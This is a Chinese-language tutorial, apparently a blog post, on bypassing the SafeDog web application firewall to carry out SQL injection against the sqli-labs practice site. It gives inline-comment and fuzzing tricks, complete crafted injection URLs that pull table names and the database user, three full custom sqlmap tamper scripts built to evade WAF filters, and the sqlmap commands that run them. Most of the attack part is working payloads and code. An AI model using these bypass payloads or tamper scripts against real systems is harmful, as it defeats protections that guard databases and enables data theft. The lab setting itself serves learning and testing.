43_sql注入绕waf

sql注入绕waf

一、搭建安全狗

参考文章
https://www.cnblogs.com/zhaoyunxiang/archive/2021/09/27/15342257.html

搭建之后,通过sqli靶场来测试安全狗是否开启防护
在这里插入图片描述

在这里插入图片描述

二、内联注释

1. 普通注释

在这里插入图片描述

2. 内联注释

当使用形如

/*!5个数字+xxxxxx*/

如果当前版本号大于该5个数字 则自动去掉

/*!5个数字*/

在这里插入图片描述
在这里插入图片描述
如果当前版本号小于该5个数字,就会报语法错误
在这里插入图片描述

三、fuzz模糊测试

1. order by

当我们想sql注入的时候,第一步就是猜列
但是在这里,使用order by 被拦截了
在这里插入图片描述

(1) 先分析拦截规则

直接测试order by 被拦截
在这里插入图片描述
去掉中间的空格,发现不拦截
在这里插入图片描述
那么我们大致可以看出,拦截规则是order by中间不能有空格,那我们可以用注释代替空格,发现也被拦截在这里插入图片描述

(2) burp爆破

利用burp的intruder模块来进行暴力破解
将注释里面的字符进行暴力破解
在这里插入图片描述
在这里插入图片描述
就是想利用这些在注释里面的特殊符号,来代替空格
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到没有被拦截
在这里插入图片描述
order by 4的时候报错,未知的第4列,证明列数是3列
在这里插入图片描述

2. 联合查询

union select 也是被拦截了
在这里插入图片描述

(1) 分析拦截规则

union select 被拦截
在这里插入图片描述
unionselect也被拦截在这里插入图片描述
单独的union不被拦截
在这里插入图片描述
单独的select也不被拦截
在这里插入图片描述
单独的union和单独的select都不会被拦截,但是当两个组合的时候,会被拦截

(2) burp爆破

再次利用所讲过的爆破尝试
在这里插入图片描述
在这里插入图片描述
可以看到也是可以使用的
在这里插入图片描述

3. 查询数据库信息
select schema_name from information_schema.schemata

这里的分析拦截规则和上面的步骤一致,比上面的复杂点,但是利用爆破却没有出来

所以这里给出了个巧妙的方法

http://www.sqli.com/Less-1/?id=-1%27%20like%20%22[%23]%22%20/*!10440union%0aselect*/%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables%20*/where%20table_schema=%27security%27--+

SELECT * FROM users WHERE id='-1' like "[#]" /*!10440union
select*/ 1,2,group_concat(table_name)from/*!-- /*
information_schema.tables */where table_schema='security'-- ' LIMIT 0,1

在这里插入图片描述
根据给出的方法,我们可以分析一下,它这个的原理是

在这里,mysql会认为第二个/* 和最后的*/闭合,是一个注释,但是--空格将这一行注释掉了
然后再加上内联注释的畸形漏洞,使得注释里面的sql语句被正常执行

/*!-- /*  
information_schema.tables */

可以根据它原本的方法,自己尝试写一个查询语句,发现也是成功的

select * from mysql.user where host = 'localhost' /*! -- /*
and user = 'root' */ 

在这里插入图片描述

4. 总结内联注释

waf的绕过

(1) 当前版本号 大于 /*! 跟的5位数字时 此时认为/*! 是有效的
	而当前版本号 小于 /*! 跟的5位数字 此时认为普通的注释

(2) /*!-- /*%0a  内容*/
	通过-- 将/* 进行注释   参考查询数据库信息

(3) 特殊字符
	/*xxxxxxx*/  参考order by 

四、sqlmap的tamper参数

我们在上面手动sql注入绕waf很慢
所以可以利用sqlmap工具去自动化获取数据

1. 先使用sqlmap注入

可以看到安全狗是开启的,输入sql注入的参数会被拦截
在这里插入图片描述
先测试一下开启waf的第一关,可以看到无法使用sqlmap注入,因为waf的一些拦截的规则

python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -p id -v 4

在这里插入图片描述

2. 介绍tamper脚本

sqlmap的参数中有一个 --tamper
它可以指定tamper目录下的脚本,可以看到自带的脚本很多
在这里插入图片描述
在这里插入图片描述

可以看几个脚本,观察一下规律
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

使用一个base64编码的脚本(base64encode.py)测试第一关

python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -p id -v 4  --tamper base64encode.py

可以看到虽然没有成功,但是这些payload都是以base64的编码进行测试的,那么我们的tamper的脚本,就可以以自己定义的方式去测试payload,我们可以自己写个脚本去使用sqlmap跑
在这里插入图片描述

3. sqli靶场的waf关

以sqli靶场自带waf的关卡来作为例子,这里选择28关
可以看到php写的正则替换的起始就是waf
并且可以看出它将哪些正则匹配到的字符替换为空

/* 替换为 空
- 替换为 空
# 替换为 空
空格+ 替换为 空
union空格select 替换为 空

可以看到注释全被过滤了
那么我们可以考虑闭合

1') union select 1,2,3 ('
select * from users where id = ('1') union select 1,2,3 ('') limit 0,1

但是 union select 也过滤了,那么我们可以考虑 union all select
这里的空格可以考虑全部替换为%0a
在这里插入图片描述
在这里插入图片描述
这里全部注释都去掉的话,不方便使用sqlmap
所以先把过滤# 的注释掉
在这里插入图片描述

4. 写tamper脚本

经过发现,这些脚本都是
先引入模块
再定义两个函数方法
def dependencies():
def tamper(payload, **kwargs):
几乎都是这种写法

然后我们的上面的order by 或者 union select 都会被过滤空格,那么我们可以找一些将空格替换成别的的脚本,然后在此基础上修改

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这里找到一个space2comment.py脚本,是将空格转换为//
我们可以复制一份,改名为diy_space.py,然后修改里面的内容
在这里插入图片描述
先使用 ctrl + r 替换所有的 /
/,替换为%0a
在这里插入图片描述
然后就是 union select 的替换,union 可以替换为 union all
在这里插入图片描述
先将union替换为union all ,然后所有的空格替换为%0a

完整代码:

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '%0a'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT%0aid%0aFROM%0ausers'
    """

    retVal = payload
    payload = payload.replace('union', 'union all')
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "%0a"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "%0a"
                continue

            retVal += payload[i]

    return retVal

5. 再次测试

使用sqlmap测试28关
这里要先关闭安全狗
我们的目的是,先通过自带的waf这种写出脚本,然后最后在写绕安全狗的脚本

python sqlmap.py -u http://www.sqli.com/Less-28/?id=1 -p id -v 4   --prefix="')"  --technique U  --tamper diy_space.py
python sqlmap.py -u http://www.sqli.com/Less-28/?id=1 -p id -v 4   --prefix="')"  --technique U  --tamper diy_space.py --dbs

可以看到使用写的脚本可以成功跑出结果,目的达成
在这里插入图片描述

6. 测试其它关卡

这里再测试一下27a关
在这里插入图片描述
同样先注释拦截#的
在这里插入图片描述
这一关可以看到没有过滤大小写
因此可以利用这一点写脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '%0a'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT%0aid%0aFROM%0ausers'
    """

    retVal = payload
    payload = payload.replace('UNION', 'UnIOn')
    payload = payload.replace('SELECT', 'SeleCT')
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "%0a"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "%0a"
                continue

            retVal += payload[i]

    return retVal

在之前的基础上修改下即可
在这里插入图片描述
可以看到也可以注入成功

python sqlmap.py -u http://www.sqli.com/Less-27a/?id=1 -p id -v 4  --technique U  --tamper diy_space.py
python sqlmap.py -u http://www.sqli.com/Less-27a/?id=1 -p id -v 4  --technique U  --tamper diy_space.py --dbs

在这里插入图片描述

7. 绕过安全狗脚本

经过两关的测试我们已经知道如何利用tamper模块写脚本测试sqlmap注入了,那么就开始写绕过安全狗的脚本

我们先想一下,安全狗的拦截规则

空格问题可以用%0a替换
from information_schema 可以使用/*-- /*%0a content*/ 来替换
 
然后需要考虑重要的几个步骤,统计这些问题,来构造脚本
1. order by 猜列
2. union select  联合查询
3. from information_schema 查询数据库信息

这里在测试过程中,需要注意,sqlmap默认是使用的大写,因此替换的时候需要替换大写

完整代码:

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '%0a'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT%0aid%0aFROM%0ausers'
    """

    retVal = payload
    payload = payload.replace('()', '/*!-- /*%0a()*/')
    payload = payload.replace('ORDER BY', '/*!-- /*%0aorder%0aby*/')
    payload = payload.replace('UNION ALL SELECT', '/*!-- /*%0aUNION%0aALL%0aSELECT*/')
    payload = payload.replace('UNION SELECT', '/*!-- /*%0aUNION%0aSELECT*/')
    paylaod = payload.replace('FROM INFORMATION_SCHEMA', '/*!-- /*%0aFROM%0aINFORMATION_SCHEMA*/')


    return paylaod

在这里插入图片描述
这里注意测试会在最后一步失败,在测试是否是哪个数据库的时候,直接无法使用 --dbs获得数据,但是会显示可以使用联合查询注入

并且这里user-agent是使用的sqlmap工具,会被拦截
在这里插入图片描述
因此需要使用 -r 参数 ,将第一关的请求包存放在txt文件中
这里的user-agent就显示的是浏览器信息
在这里插入图片描述

先测试一下,可以看到可以使用联合查询注入,但是–dbs无法获取数据

python sqlmap.py -r url.txt -p id -v 4  --technique U  --tamper diy_space.py

在这里插入图片描述
这里有些人测试不成功,我们可以换第二关测试
less-1改成less-2即可
在这里插入图片描述
显示这句话就是可以被注入
在这里插入图片描述
在给出的联合查询注入下面,会有很多测试数据库的请求包
由于我们的–dbs没法获取数据
因此我们可以用测试mysql这里的payload来实验
在这里插入图片描述
在这里插入图片描述

这里我使用的test mysql的这个
在这里插入图片描述

http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x717a706b71%2C%28CASE%20WHEN%20%28QUARTER%28NULL%29%20IS%20NULL%29%20THEN%201%20ELSE%200%20END%29%2C0x71786a6271%29%2CNULL--%20-

结果显示 qzpkq1qxjbq
在这里插入图片描述
我们将得到的payload进行url解码
发现它使用的是concat连接的

在这里插入图片描述
我们修改一下,让它中间连接user()

这里要使用/*!-- /*%0a content */  

http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x717a706b71%2C%28/*!--%20/*%0auser()*/%29%2C0x71786a6271%29%2CNULL--%20-

在这里插入图片描述
可以看到user()被爆出来了,左右两边连接的是0x那两个16进制
在这里插入图片描述
如果想更清楚的看,可以改成~ 对应的16进制 0x7e

http://www.sqli.com/Less-2/?id=-4309%20%2F%2A%21--%20%2F%2A%0aUNION%0aALL%0aSELECT%2A%2F%20NULL%2CCONCAT%280x7e%2C%28/*!--%20/*%0auser()*/%29%2C0x7e%29%2CNULL--%20-

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值